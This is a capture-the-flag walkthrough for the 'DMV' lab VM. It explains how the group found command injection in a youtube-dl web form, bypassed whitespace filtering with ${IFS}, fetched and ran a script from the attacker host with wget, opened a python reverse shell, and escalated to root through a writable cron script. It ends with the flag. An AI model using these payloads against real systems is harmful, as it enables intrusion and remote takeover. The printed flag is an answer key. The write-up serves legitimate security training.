DC919 CTF exercise night using "DMV" prebuilt VM image
SPOILER ALERT: This document is intended to be a walk-through, so if you want to do this CTF challenge honestly, close this page now.
The following is the result of a group effort during a CTF conf call. There were a bunch of people present on the call, and if they ask me to I'll happily list them here. We share lots of tricks during these calls, everyone contributes and we all come out smarter.
In this case the VMs have the following IPs:
Info gathered 192.168.57.9: nmap finds 22,80, browser shows a weird youtube converter web form.
Install/run gobuster (apt install gobuster), run with /usr/share/wordlists/dirbuster/....medium.txt, find the following of particular interest:
Started a 'hydra' bruteforce run with rockyou.txt wordlist on /admin, ran with single username: "admin"; fruitless effort, reason why shows up later.
Since a web form was found, some static analysis shows that it's not a traditional HTML-only form, but instead something frontended by javascript. Since we have the flexibility to just start submitting values to it without alarming anyone and generating a human response, and because we could just blow away the target VM and restart if it does lock us out, we can do some slightly more dynamic analysis.
It appears to want a youtube video id string. Opening web developer tools in Firefox and submitting "11111111" to the form returns a simple "Oops" error text. Looking at the network request in more detail reveals that we're submitting a single parameter: yt_url, which contains a URL-encoded version of an entire youtube URL. Since our VM is not attached to a real network, this cannot possibly succeed.
From web developer tools, we have the ability to "Edit and resend" a previous request, so let's fire up a very basic web server with logging on our kali machine, which is network accessible from our target:
For this, the easiest choices are probably python 3.x and "http.server", or failing that, python 2.x and "SimpleHTTPServer":
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
These simple python based webservers will serve files from whatever directory you started them from, which is a useful property.
Now that our simple webserver is running, we can "Edit and resend" from webdev tools and change our yt_url to point at something we control:
yt_url=http%3A%2F%2F192.168.57.10%3A8000%2Ffile.txt
To generate url-encoded strings like this, I usually lean on a ruby one-liner:
$ ruby -e 'require "cgi"; puts CGI.escape("http://192.168.57.10:8000/file.txt")'
http%3A%2F%2F192.168.57.10%3A8000%2Ffile.txt
After resending the modified request, we can inspect the Response tab in webdev tools and find a new error, but also in the terminal we started the webserver from, we see some hits! This at least means we have some level of control over some code running on the target and fetching content of our choice. Some basic fuzzing by hand of the web form gets us a few permutations of errors in the Response window. Some examples:
The important part to notice is that we're clearly passing input here that gets run by /bin/sh in some form or another, meaning we're submitting input to a shell. This is often abusable, and we're going to do just that.
By now, we've found out that somehow or another, what we put into the text box is getting passed to some version of the youtube-dl script. There are some rabbit holes to go down here, and some may prove helpful. I was not able to take good advantage of the --exec parameter that youtube-dl supports, despite it seeming a strong possibility.
After throwing various commands at it inside backticks (`) it becomes clear that whitespace is being eaten/ignored/etc. Single "word" commands like uptime or id return what we expect, but otherwise we just get errors. No obvious amount of encoding spaces with %20 or escaping them seem to do the job to get parameters passed to a command. One clever way our group came up with to handle this is to use ${IFS}, which is by default a single whitespace character. Using this trick, we can run arbitrary commands with arguments!
After trying various options for getting a reverse shell, I settled on using python, because the onboard nc(1) doesn't do the job. I used my locally hosted python3 http.server to serve an "exec.sh" script, with contents like this:
#!/bin/sh
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.57.10",1234));os.dup2(s.fileno(),0);os.dup
2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
This happens to be a fairly standard python reverse shell script that you can find replicated on various "cheat sheets" elsewhere. The only thing modified is the IP address(192.168.57.10) and port(1234). You'll need to fire up a listener of some sort at that IP:port combination, like this:
$ nc -v -l -p 1234
listening on [any] 1234 ...
Drop the "exec.sh" script into whatever directory you started the http.server in, and let's request it be downloaded to our target:
yt_url=`wget${IFS}-O${IFS}/tmp/exec.sh${IFS}http://192.168.57.10:8001/exec.sh`
Send the request as before, and watch the response, should see the wget output pretty clearly. Look specifically for something like "Saving to: '/tmp/exec.sh'". If so, all's well and we can execute it with a similar request:
yt_url=`/bin/sh${IFS}/tmp/exec.sh`
This request will not return anything, but in your terminal with the 'nc' listener running, you should have a shell running as the www-data user.
Look around, you'll see a 'clean.sh' script that is writable by 'www-data'. The script looks like it intends to be used to cleanup the 'downloads' folder. Some playing around with this script reveals that it is run via cron regularly as the 'root' user. Bingo. To escalate further, you could simply edit the 'clean.sh' script to run your 'exec.sh' reverse shell script, then disconnect, restart nc(1), and wait. Eventually, you should end up with a root reverse shell.
The flag can be found in /root/root.txt:
flag{d9b368018e912b541a4eb68399c5e94a}